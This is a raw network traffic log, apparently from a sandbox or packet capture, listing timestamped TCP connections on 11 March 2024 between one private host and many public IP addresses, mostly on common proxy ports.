Mar 11, 2024 16:39:44.933592081 CET	50921	80	192.168.2.10	162.159.241.5
Mar 11, 2024 16:39:44.934629917 CET	80	50921	162.159.241.5	192.168.2.10
Mar 11, 2024 16:39:44.935432911 CET	9764	51008	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:44.935448885 CET	4145	50674	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:44.935513973 CET	50921	80	192.168.2.10	162.159.241.5
Mar 11, 2024 16:39:44.935519934 CET	51008	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.935666084 CET	51008	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.936019897 CET	51100	2001	192.168.2.10	173.44.141.179
Mar 11, 2024 16:39:44.936860085 CET	7237	50961	195.248.243.149	192.168.2.10
Mar 11, 2024 16:39:44.936872005 CET	4145	50674	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:44.936961889 CET	50961	7237	192.168.2.10	195.248.243.149
Mar 11, 2024 16:39:44.937149048 CET	50961	7237	192.168.2.10	195.248.243.149
Mar 11, 2024 16:39:44.937553883 CET	51101	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:44.939527035 CET	1080	50371	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:44.939542055 CET	8888	50413	120.79.101.0	192.168.2.10
Mar 11, 2024 16:39:44.940258980 CET	3128	50265	13.40.239.130	192.168.2.10
Mar 11, 2024 16:39:44.940290928 CET	50413	8888	192.168.2.10	120.79.101.0
Mar 11, 2024 16:39:44.940749884 CET	41274	50171	162.241.158.204	192.168.2.10
Mar 11, 2024 16:39:44.941328049 CET	8888	50413	120.79.101.0	192.168.2.10
Mar 11, 2024 16:39:44.941387892 CET	12334	49754	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:44.941433907 CET	50413	8888	192.168.2.10	120.79.101.0
Mar 11, 2024 16:39:44.941485882 CET	80	50960	104.16.104.12	192.168.2.10
Mar 11, 2024 16:39:44.941545963 CET	80	50960	104.16.104.12	192.168.2.10
Mar 11, 2024 16:39:44.941663980 CET	8888	50413	120.79.101.0	192.168.2.10
Mar 11, 2024 16:39:44.941756964 CET	50960	80	192.168.2.10	104.16.104.12
Mar 11, 2024 16:39:44.941934109 CET	50095	1088	192.168.2.10	117.202.20.69
Mar 11, 2024 16:39:44.941937923 CET	50390	19599	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:44.941951036 CET	50111	9999	192.168.2.10	115.221.242.131
Mar 11, 2024 16:39:44.941963911 CET	50096	5678	192.168.2.10	203.160.57.87
Mar 11, 2024 16:39:44.941963911 CET	50103	40975	192.168.2.10	146.59.18.246
Mar 11, 2024 16:39:44.941963911 CET	50115	3128	192.168.2.10	62.171.133.66
Mar 11, 2024 16:39:44.941967964 CET	50098	16379	192.168.2.10	51.158.108.134
Mar 11, 2024 16:39:44.941971064 CET	50192	8089	192.168.2.10	114.232.109.43
Mar 11, 2024 16:39:44.941971064 CET	50198	8080	192.168.2.10	46.209.54.102
Mar 11, 2024 16:39:44.941971064 CET	50114	8080	192.168.2.10	156.232.9.194
Mar 11, 2024 16:39:44.941977978 CET	50119	3128	192.168.2.10	155.50.213.149
Mar 11, 2024 16:39:44.941979885 CET	50110	54924	192.168.2.10	67.213.210.118
Mar 11, 2024 16:39:44.941979885 CET	50120	50062	192.168.2.10	162.241.46.6
Mar 11, 2024 16:39:44.941979885 CET	50116	8080	192.168.2.10	138.0.143.128
Mar 11, 2024 16:39:44.942094088 CET	49815	26315	192.168.2.10	72.10.160.171
Mar 11, 2024 16:39:44.942397118 CET	12334	51016	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:44.942487955 CET	51016	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.942558050 CET	51016	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.943090916 CET	80	50960	104.16.104.12	192.168.2.10
Mar 11, 2024 16:39:44.943125963 CET	50265	3128	192.168.2.10	13.40.239.130
Mar 11, 2024 16:39:44.943175077 CET	50960	80	192.168.2.10	104.16.104.12
Mar 11, 2024 16:39:44.943181038 CET	80	50918	39.108.227.108	192.168.2.10
Mar 11, 2024 16:39:44.943223000 CET	12334	51018	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:44.943295956 CET	50918	80	192.168.2.10	39.108.227.108
Mar 11, 2024 16:39:44.943296909 CET	51018	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:44.943329096 CET	80	50969	172.67.182.96	192.168.2.10
Mar 11, 2024 16:39:44.943340063 CET	80	50969	172.67.182.96	192.168.2.10
Mar 11, 2024 16:39:44.943365097 CET	50918	80	192.168.2.10	39.108.227.108
Mar 11, 2024 16:39:44.943451881 CET	51018	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:44.943593979 CET	50969	80	192.168.2.10	172.67.182.96
Mar 11, 2024 16:39:44.944269896 CET	21777	50164	51.222.84.118	192.168.2.10
Mar 11, 2024 16:39:44.944454908 CET	59268	50160	67.213.212.50	192.168.2.10
Mar 11, 2024 16:39:44.944626093 CET	80	50969	172.67.182.96	192.168.2.10
Mar 11, 2024 16:39:44.944691896 CET	51102	8080	192.168.2.10	103.76.129.110
Mar 11, 2024 16:39:44.944745064 CET	50969	80	192.168.2.10	172.67.182.96
Mar 11, 2024 16:39:44.945123911 CET	51103	21972	192.168.2.10	79.143.177.29
Mar 11, 2024 16:39:44.945426941 CET	51104	5020	192.168.2.10	119.18.149.9
Mar 11, 2024 16:39:44.945583105 CET	4145	50875	101.109.251.42	192.168.2.10
Mar 11, 2024 16:39:44.946765900 CET	45629	51017	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:44.947141886 CET	4145	50730	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:44.947154999 CET	1081	50545	5.252.23.220	192.168.2.10
Mar 11, 2024 16:39:44.947258949 CET	50730	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.947304010 CET	50730	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.947634935 CET	51105	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.948039055 CET	9764	50421	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:44.948052883 CET	8080	50811	115.96.208.124	192.168.2.10
Mar 11, 2024 16:39:44.948288918 CET	1081	50545	5.252.23.220	192.168.2.10
Mar 11, 2024 16:39:44.948565006 CET	50545	1081	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:44.948784113 CET	30000	50203	161.97.74.176	192.168.2.10
Mar 11, 2024 16:39:44.948939085 CET	1081	50545	5.252.23.220	192.168.2.10
Mar 11, 2024 16:39:44.949189901 CET	51106	8080	192.168.2.10	186.103.130.94
Mar 11, 2024 16:39:44.949693918 CET	59820	49977	107.180.88.173	192.168.2.10
Mar 11, 2024 16:39:44.949783087 CET	8080	50917	47.88.3.19	192.168.2.10
Mar 11, 2024 16:39:44.949850082 CET	49977	59820	192.168.2.10	107.180.88.173
Mar 11, 2024 16:39:44.949980021 CET	49977	59820	192.168.2.10	107.180.88.173
Mar 11, 2024 16:39:44.951215029 CET	3128	50958	185.174.137.30	192.168.2.10
Mar 11, 2024 16:39:44.951309919 CET	80	50789	104.27.26.29	192.168.2.10
Mar 11, 2024 16:39:44.953108072 CET	8888	51033	66.45.246.194	192.168.2.10
Mar 11, 2024 16:39:44.953262091 CET	51033	8888	192.168.2.10	66.45.246.194
Mar 11, 2024 16:39:44.953500032 CET	51033	8888	192.168.2.10	66.45.246.194
Mar 11, 2024 16:39:44.954672098 CET	26887	51026	72.10.160.170	192.168.2.10
Mar 11, 2024 16:39:44.955010891 CET	4145	50730	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:44.955282927 CET	51107	12919	192.168.2.10	192.169.205.131
Mar 11, 2024 16:39:44.955434084 CET	8880	50481	95.66.138.21	192.168.2.10
Mar 11, 2024 16:39:44.955493927 CET	80	50793	172.67.181.12	192.168.2.10
Mar 11, 2024 16:39:44.955945969 CET	80	50980	45.12.30.231	192.168.2.10
Mar 11, 2024 16:39:44.955948114 CET	51108	8789	192.168.2.10	103.84.235.162
Mar 11, 2024 16:39:44.955986023 CET	80	50980	45.12.30.231	192.168.2.10
Mar 11, 2024 16:39:44.955997944 CET	24543	50422	209.159.153.19	192.168.2.10
Mar 11, 2024 16:39:44.956171036 CET	50980	80	192.168.2.10	45.12.30.231
Mar 11, 2024 16:39:44.956340075 CET	51109	8080	192.168.2.10	103.191.155.62
Mar 11, 2024 16:39:44.956835032 CET	51110	14669	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:44.956857920 CET	80	50980	45.12.30.231	192.168.2.10
Mar 11, 2024 16:39:44.956927061 CET	1929	51032	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.956948042 CET	50980	80	192.168.2.10	45.12.30.231
Mar 11, 2024 16:39:44.957024097 CET	51111	80	192.168.2.10	162.159.242.10
Mar 11, 2024 16:39:44.957560062 CET	50190	49775	192.168.2.10	138.201.21.232
Mar 11, 2024 16:39:44.957566977 CET	50112	3629	192.168.2.10	81.12.104.43
Mar 11, 2024 16:39:44.957568884 CET	50113	8080	192.168.2.10	183.179.187.16
Mar 11, 2024 16:39:44.957577944 CET	50314	3128	192.168.2.10	194.145.209.187
Mar 11, 2024 16:39:44.957583904 CET	50131	3129	192.168.2.10	45.134.80.222
Mar 11, 2024 16:39:44.957643986 CET	50134	26552	192.168.2.10	161.97.173.78
Mar 11, 2024 16:39:44.957644939 CET	50127	8080	192.168.2.10	185.200.38.117
Mar 11, 2024 16:39:44.957647085 CET	50285	8000	192.168.2.10	167.172.79.17
Mar 11, 2024 16:39:44.957767963 CET	80	51035	50.168.72.113	192.168.2.10
Mar 11, 2024 16:39:44.957876921 CET	49777	80	192.168.2.10	50.174.145.9
Mar 11, 2024 16:39:44.957879066 CET	50109	8080	192.168.2.10	159.112.141.44
Mar 11, 2024 16:39:44.957881927 CET	80	50885	106.14.255.124	192.168.2.10
Mar 11, 2024 16:39:44.957895994 CET	50434	25491	192.168.2.10	67.43.227.230
Mar 11, 2024 16:39:44.957895994 CET	50123	10705	192.168.2.10	47.113.179.6
Mar 11, 2024 16:39:44.957920074 CET	50122	999	192.168.2.10	181.78.74.78
Mar 11, 2024 16:39:44.957947016 CET	50885	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:44.958221912 CET	50885	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:44.959753036 CET	40351	49750	51.222.241.157	192.168.2.10
Mar 11, 2024 16:39:44.962394953 CET	51112	55994	192.168.2.10	38.127.179.16
Mar 11, 2024 16:39:44.962471008 CET	4145	50268	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:44.962541103 CET	50268	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:44.962656975 CET	50268	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:44.963099003 CET	51113	21231	192.168.2.10	92.247.2.26
Mar 11, 2024 16:39:44.963356018 CET	51114	80	192.168.2.10	82.146.37.145
Mar 11, 2024 16:39:44.963521957 CET	51115	34405	192.168.2.10	212.110.188.189
Mar 11, 2024 16:39:44.963773966 CET	8888	50154	36.134.91.82	192.168.2.10
Mar 11, 2024 16:39:44.963850975 CET	30951	49751	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:44.963937044 CET	50154	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:44.963954926 CET	50154	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:44.964211941 CET	51116	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:44.964890003 CET	13477	50179	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.968086958 CET	51117	8080	192.168.2.10	103.53.78.26
Mar 11, 2024 16:39:44.968622923 CET	8080	49976	92.118.132.125	192.168.2.10
Mar 11, 2024 16:39:44.968645096 CET	51118	33661	192.168.2.10	128.199.196.31
Mar 11, 2024 16:39:44.968666077 CET	80	50799	104.27.37.131	192.168.2.10
Mar 11, 2024 16:39:44.969161987 CET	51119	4145	192.168.2.10	162.253.68.97
Mar 11, 2024 16:39:44.970773935 CET	80	50613	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.970926046 CET	50613	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.971020937 CET	50613	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.971281052 CET	51120	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.972157001 CET	80	50613	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.973031044 CET	4145	51013	72.195.114.169	192.168.2.10
Mar 11, 2024 16:39:44.973170042 CET	51013	4145	192.168.2.10	72.195.114.169
Mar 11, 2024 16:39:44.973186970 CET	50124	1080	192.168.2.10	64.124.145.1
Mar 11, 2024 16:39:44.973191977 CET	50138	1080	192.168.2.10	171.248.209.6
Mar 11, 2024 16:39:44.973192930 CET	50128	8000	192.168.2.10	103.182.112.11
Mar 11, 2024 16:39:44.973191977 CET	50142	8080	192.168.2.10	103.153.40.38
Mar 11, 2024 16:39:44.973207951 CET	50318	3128	192.168.2.10	46.101.102.134
Mar 11, 2024 16:39:44.973212957 CET	50152	8080	192.168.2.10	188.132.222.40
Mar 11, 2024 16:39:44.973212957 CET	50144	3128	192.168.2.10	194.186.35.70
Mar 11, 2024 16:39:44.973212957 CET	50157	7183	192.168.2.10	132.148.245.247
Mar 11, 2024 16:39:44.973207951 CET	49825	9039	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:44.973232985 CET	50159	3128	192.168.2.10	193.56.255.179
Mar 11, 2024 16:39:44.973234892 CET	50132	55507	192.168.2.10	5.58.33.187
Mar 11, 2024 16:39:44.973234892 CET	50139	999	192.168.2.10	177.234.194.226
Mar 11, 2024 16:39:44.973234892 CET	50141	5678	192.168.2.10	169.255.198.8
Mar 11, 2024 16:39:44.973254919 CET	50158	9990	192.168.2.10	117.160.250.163
Mar 11, 2024 16:39:44.973870993 CET	51013	4145	192.168.2.10	72.195.114.169
Mar 11, 2024 16:39:44.973953962 CET	80	49930	45.139.11.200	192.168.2.10
Mar 11, 2024 16:39:44.975424051 CET	18080	50977	60.188.102.225	192.168.2.10
Mar 11, 2024 16:39:44.975502014 CET	50977	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:44.975636959 CET	50977	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:44.975749969 CET	8000	50867	128.199.184.169	192.168.2.10
Mar 11, 2024 16:39:44.975763083 CET	31247	50353	202.40.181.220	192.168.2.10
Mar 11, 2024 16:39:44.976927042 CET	51121	12792	192.168.2.10	112.30.155.83
Mar 11, 2024 16:39:44.977206945 CET	51122	80	192.168.2.10	137.184.100.135
Mar 11, 2024 16:39:44.977251053 CET	51123	80	192.168.2.10	46.249.0.189
Mar 11, 2024 16:39:44.977475882 CET	31247	50353	202.40.181.220	192.168.2.10
Mar 11, 2024 16:39:44.977530003 CET	51124	49227	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:44.977855921 CET	49760	5678	192.168.2.10	178.212.51.79
Mar 11, 2024 16:39:44.977868080 CET	50448	3335	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:44.977871895 CET	50372	80	192.168.2.10	50.173.140.149
Mar 11, 2024 16:39:44.977960110 CET	50491	80	192.168.2.10	50.239.72.17
Mar 11, 2024 16:39:44.977974892 CET	51126	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:44.978398085 CET	51125	26606	192.168.2.10	132.148.128.88
Mar 11, 2024 16:39:44.978708029 CET	8888	50542	31.43.158.108	192.168.2.10
Mar 11, 2024 16:39:44.978718996 CET	8888	50542	31.43.158.108	192.168.2.10
Mar 11, 2024 16:39:44.978729010 CET	8888	50542	31.43.158.108	192.168.2.10
Mar 11, 2024 16:39:44.978816032 CET	50542	8888	192.168.2.10	31.43.158.108
Mar 11, 2024 16:39:44.979120970 CET	50542	8888	192.168.2.10	31.43.158.108
Mar 11, 2024 16:39:44.979154110 CET	3128	50567	3.212.148.199	192.168.2.10
Mar 11, 2024 16:39:44.979229927 CET	4145	49806	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:44.979240894 CET	4145	49806	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:44.979948044 CET	51127	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:44.982999086 CET	51128	80	192.168.2.10	138.68.235.51
Mar 11, 2024 16:39:44.983104944 CET	50567	3128	192.168.2.10	3.212.148.199
Mar 11, 2024 16:39:44.983603001 CET	51130	34916	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:44.983603954 CET	51129	29477	192.168.2.10	67.43.236.21
Mar 11, 2024 16:39:44.984153986 CET	51131	8080	192.168.2.10	180.191.16.5
Mar 11, 2024 16:39:44.986071110 CET	51132	15291	192.168.2.10	184.178.172.25
Mar 11, 2024 16:39:44.986108065 CET	15673	50615	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:44.986541986 CET	8080	50877	84.241.8.234	192.168.2.10
Mar 11, 2024 16:39:44.986891031 CET	1080	50593	27.0.234.206	192.168.2.10
Mar 11, 2024 16:39:44.987555981 CET	51133	1080	192.168.2.10	165.227.112.138
Mar 11, 2024 16:39:44.988127947 CET	80	49727	50.217.226.43	192.168.2.10
Mar 11, 2024 16:39:44.988195896 CET	8080	49774	20.37.207.8	192.168.2.10
Mar 11, 2024 16:39:44.988790035 CET	51134	999	192.168.2.10	170.80.242.98
Mar 11, 2024 16:39:44.988790035 CET	50143	20037	192.168.2.10	64.44.139.12
Mar 11, 2024 16:39:44.988802910 CET	50146	63614	192.168.2.10	173.212.237.43
Mar 11, 2024 16:39:44.988816977 CET	50155	34411	192.168.2.10	212.110.188.222
Mar 11, 2024 16:39:44.988818884 CET	49759	8123	192.168.2.10	20.24.43.214
Mar 11, 2024 16:39:44.988818884 CET	50151	27234	192.168.2.10	179.125.51.54
Mar 11, 2024 16:39:44.988871098 CET	50388	80	192.168.2.10	50.218.57.68
Mar 11, 2024 16:39:44.988874912 CET	50147	9898	192.168.2.10	213.165.168.190
Mar 11, 2024 16:39:44.988883972 CET	49895	45248	192.168.2.10	166.62.121.127
Mar 11, 2024 16:39:44.988884926 CET	50156	3128	192.168.2.10	146.190.51.181
Mar 11, 2024 16:39:44.988894939 CET	49722	8081	192.168.2.10	154.72.90.74
Mar 11, 2024 16:39:44.988894939 CET	50223	80	192.168.2.10	195.23.57.78
Mar 11, 2024 16:39:44.988905907 CET	50161	3128	192.168.2.10	80.251.219.40
Mar 11, 2024 16:39:44.988922119 CET	50167	8080	192.168.2.10	103.148.130.5
Mar 11, 2024 16:39:44.988964081 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:44.988987923 CET	50172	47036	192.168.2.10	83.151.4.172
Mar 11, 2024 16:39:44.989002943 CET	50169	3256	192.168.2.10	106.45.221.168
Mar 11, 2024 16:39:44.989003897 CET	50166	999	192.168.2.10	177.234.194.158
Mar 11, 2024 16:39:44.989583015 CET	1080	50593	27.0.234.206	192.168.2.10
Mar 11, 2024 16:39:44.989595890 CET	8081	50981	185.49.31.207	192.168.2.10
Mar 11, 2024 16:39:44.989666939 CET	50981	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:44.989667892 CET	50593	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:44.990350962 CET	15673	50615	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:44.990362883 CET	80	49773	50.239.72.18	192.168.2.10
Mar 11, 2024 16:39:44.991297007 CET	1080	49762	138.36.150.16	192.168.2.10
Mar 11, 2024 16:39:44.992207050 CET	1080	49762	138.36.150.16	192.168.2.10
Mar 11, 2024 16:39:44.992990971 CET	8080	49774	20.37.207.8	192.168.2.10
Mar 11, 2024 16:39:44.993004084 CET	8080	49774	20.37.207.8	192.168.2.10
Mar 11, 2024 16:39:44.993007898 CET	50593	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:44.993020058 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:44.993020058 CET	51135	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:44.993051052 CET	8080	49774	20.37.207.8	192.168.2.10
Mar 11, 2024 16:39:44.993077040 CET	49774	8080	192.168.2.10	20.37.207.8
Mar 11, 2024 16:39:44.993295908 CET	50981	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:44.993736029 CET	51136	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:44.994735003 CET	999	50140	45.229.34.174	192.168.2.10
Mar 11, 2024 16:39:44.994748116 CET	4145	51076	184.181.217.206	192.168.2.10
Mar 11, 2024 16:39:44.994759083 CET	51137	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:44.994980097 CET	51076	4145	192.168.2.10	184.181.217.206
Mar 11, 2024 16:39:44.996357918 CET	51138	5678	192.168.2.10	94.154.221.91
Mar 11, 2024 16:39:44.998297930 CET	51139	10513	192.168.2.10	66.29.128.243
Mar 11, 2024 16:39:44.998977900 CET	51140	16744	192.168.2.10	166.62.87.148
Mar 11, 2024 16:39:44.999209881 CET	51141	80	192.168.2.10	210.156.35.196
Mar 11, 2024 16:39:44.999561071 CET	80	51007	185.162.229.70	192.168.2.10
Mar 11, 2024 16:39:44.999573946 CET	80	51007	185.162.229.70	192.168.2.10
Mar 11, 2024 16:39:45.000397921 CET	51007	80	192.168.2.10	185.162.229.70
Mar 11, 2024 16:39:45.000726938 CET	80	51007	185.162.229.70	192.168.2.10
Mar 11, 2024 16:39:45.000825882 CET	51007	80	192.168.2.10	185.162.229.70
Mar 11, 2024 16:39:45.001023054 CET	3128	50305	38.54.116.9	192.168.2.10
Mar 11, 2024 16:39:45.001177073 CET	51142	57676	192.168.2.10	67.227.186.23
Mar 11, 2024 16:39:45.001564026 CET	7302	50219	124.163.236.54	192.168.2.10
Mar 11, 2024 16:39:45.002036095 CET	51143	8080	192.168.2.10	217.172.122.14
Mar 11, 2024 16:39:45.003676891 CET	8080	50849	103.69.151.189	192.168.2.10
Mar 11, 2024 16:39:45.003829956 CET	50849	8080	192.168.2.10	103.69.151.189
Mar 11, 2024 16:39:45.004079103 CET	50849	8080	192.168.2.10	103.69.151.189
Mar 11, 2024 16:39:45.004460096 CET	50294	5555	192.168.2.10	14.225.254.128
Mar 11, 2024 16:39:45.004460096 CET	49832	80	192.168.2.10	50.172.218.160
Mar 11, 2024 16:39:45.004463911 CET	50165	24787	192.168.2.10	162.144.121.232
Mar 11, 2024 16:39:45.004487038 CET	50182	999	192.168.2.10	45.184.155.3
Mar 11, 2024 16:39:45.004487991 CET	50187	8080	192.168.2.10	183.89.9.82
Mar 11, 2024 16:39:45.004488945 CET	50163	8080	192.168.2.10	103.230.49.132
Mar 11, 2024 16:39:45.004488945 CET	50340	64654	192.168.2.10	162.19.7.53
Mar 11, 2024 16:39:45.004488945 CET	50181	8080	192.168.2.10	185.208.102.62
Mar 11, 2024 16:39:45.004488945 CET	50183	8888	192.168.2.10	154.64.219.2
Mar 11, 2024 16:39:45.004497051 CET	50175	9090	192.168.2.10	189.240.60.163
Mar 11, 2024 16:39:45.004497051 CET	50168	57364	192.168.2.10	162.241.53.72
Mar 11, 2024 16:39:45.004497051 CET	50191	3128	192.168.2.10	199.223.255.109
Mar 11, 2024 16:39:45.004520893 CET	50189	8080	192.168.2.10	27.130.253.68
Mar 11, 2024 16:39:45.004523039 CET	50186	34071	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:45.004540920 CET	50185	42072	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:45.005084038 CET	51144	80	192.168.2.10	142.11.222.22
Mar 11, 2024 16:39:45.005642891 CET	9002	49828	220.248.70.237	192.168.2.10
Mar 11, 2024 16:39:45.005748034 CET	49828	9002	192.168.2.10	220.248.70.237
Mar 11, 2024 16:39:45.006021976 CET	51145	999	192.168.2.10	187.102.238.49
Mar 11, 2024 16:39:45.006670952 CET	51146	54917	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:45.007628918 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:45.007680893 CET	80	51009	46.35.9.110	192.168.2.10
Mar 11, 2024 16:39:45.007951021 CET	51009	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:45.008090019 CET	51009	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:45.008640051 CET	51147	80	192.168.2.10	104.19.247.62
Mar 11, 2024 16:39:45.009330034 CET	7302	50219	124.163.236.54	192.168.2.10
Mar 11, 2024 16:39:45.009440899 CET	50219	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:45.009705067 CET	80	51002	162.159.246.135	192.168.2.10
Mar 11, 2024 16:39:45.009716988 CET	80	51002	162.159.246.135	192.168.2.10
Mar 11, 2024 16:39:45.009740114 CET	50219	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:45.010068893 CET	51002	80	192.168.2.10	162.159.246.135
Mar 11, 2024 16:39:45.010174036 CET	51148	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:45.010660887 CET	80	51002	162.159.246.135	192.168.2.10
Mar 11, 2024 16:39:45.010674000 CET	5000	50086	49.228.131.169	192.168.2.10
Mar 11, 2024 16:39:45.010857105 CET	51002	80	192.168.2.10	162.159.246.135
Mar 11, 2024 16:39:45.010943890 CET	4495	49766	67.43.228.252	192.168.2.10
Mar 11, 2024 16:39:45.011003017 CET	51149	8089	192.168.2.10	111.225.152.191
Mar 11, 2024 16:39:45.011621952 CET	4711	50229	67.43.227.227	192.168.2.10
Mar 11, 2024 16:39:45.013369083 CET	51150	40750	192.168.2.10	209.126.104.38
Mar 11, 2024 16:39:45.013967037 CET	51151	60103	192.168.2.10	95.165.163.188
Mar 11, 2024 16:39:45.014166117 CET	7302	50219	124.163.236.54	192.168.2.10
Mar 11, 2024 16:39:45.015835047 CET	51152	8080	192.168.2.10	45.201.134.38
Mar 11, 2024 16:39:45.016617060 CET	5020	50906	202.164.209.69	192.168.2.10
Mar 11, 2024 16:39:45.016705036 CET	50906	5020	192.168.2.10	202.164.209.69
Mar 11, 2024 16:39:45.016788960 CET	50906	5020	192.168.2.10	202.164.209.69
Mar 11, 2024 16:39:45.019362926 CET	51153	11793	192.168.2.10	209.97.176.112
Mar 11, 2024 16:39:45.019434929 CET	5678	50968	185.26.32.93	192.168.2.10
Mar 11, 2024 16:39:45.019542933 CET	8080	50927	160.3.168.70	192.168.2.10
Mar 11, 2024 16:39:45.019922972 CET	51154	15410	192.168.2.10	72.167.38.7
Mar 11, 2024 16:39:45.020045042 CET	50255	8888	192.168.2.10	3.25.234.175
Mar 11, 2024 16:39:45.020071983 CET	50173	3128	192.168.2.10	165.232.89.116
Mar 11, 2024 16:39:45.020071983 CET	50380	39452	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:45.020080090 CET	50176	5678	192.168.2.10	89.34.198.253
Mar 11, 2024 16:39:45.020097971 CET	50209	8080	192.168.2.10	159.192.102.249
Mar 11, 2024 16:39:45.020117044 CET	50199	29745	192.168.2.10	132.148.128.88
Mar 11, 2024 16:39:45.020117044 CET	50210	31337	192.168.2.10	186.251.255.41
Mar 11, 2024 16:39:45.020118952 CET	50213	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:45.020119905 CET	50215	80	192.168.2.10	36.229.100.73
Mar 11, 2024 16:39:45.020119905 CET	50398	41491	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:45.020119905 CET	50207	80	192.168.2.10	185.167.59.215
Mar 11, 2024 16:39:45.020119905 CET	50217	1080	192.168.2.10	209.14.112.8
Mar 11, 2024 16:39:45.020149946 CET	50534	15864	192.168.2.10	192.252.214.20
Mar 11, 2024 16:39:45.020206928 CET	51155	43265	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:45.020237923 CET	50230	7891	192.168.2.10	43.129.228.46
Mar 11, 2024 16:39:45.020237923 CET	50184	3128	192.168.2.10	161.97.132.227
Mar 11, 2024 16:39:45.020237923 CET	50201	8080	192.168.2.10	102.23.234.201
Mar 11, 2024 16:39:45.020240068 CET	50500	16691	192.168.2.10	92.204.136.149
Mar 11, 2024 16:39:45.020311117 CET	50427	8888	192.168.2.10	188.166.30.17
Mar 11, 2024 16:39:45.020318985 CET	50218	80	192.168.2.10	103.151.20.131
Mar 11, 2024 16:39:45.021368980 CET	80	50833	104.16.241.204	192.168.2.10
Mar 11, 2024 16:39:45.021543980 CET	13623	49963	36.255.104.1	192.168.2.10
Mar 11, 2024 16:39:45.022778034 CET	9080	50879	38.54.95.19	192.168.2.10
Mar 11, 2024 16:39:45.022824049 CET	8888	50673	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:45.022927046 CET	50673	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:45.022984028 CET	50673	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:45.023468018 CET	63055	50607	51.161.131.84	192.168.2.10
Mar 11, 2024 16:39:45.023478985 CET	63055	50607	51.161.131.84	192.168.2.10
Mar 11, 2024 16:39:45.023602009 CET	8888	50673	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:45.023821115 CET	51156	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:45.024044037 CET	51157	8080	192.168.2.10	103.83.80.67
Mar 11, 2024 16:39:45.024239063 CET	51158	63055	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:45.024389982 CET	15673	50949	198.23.229.203	192.168.2.10
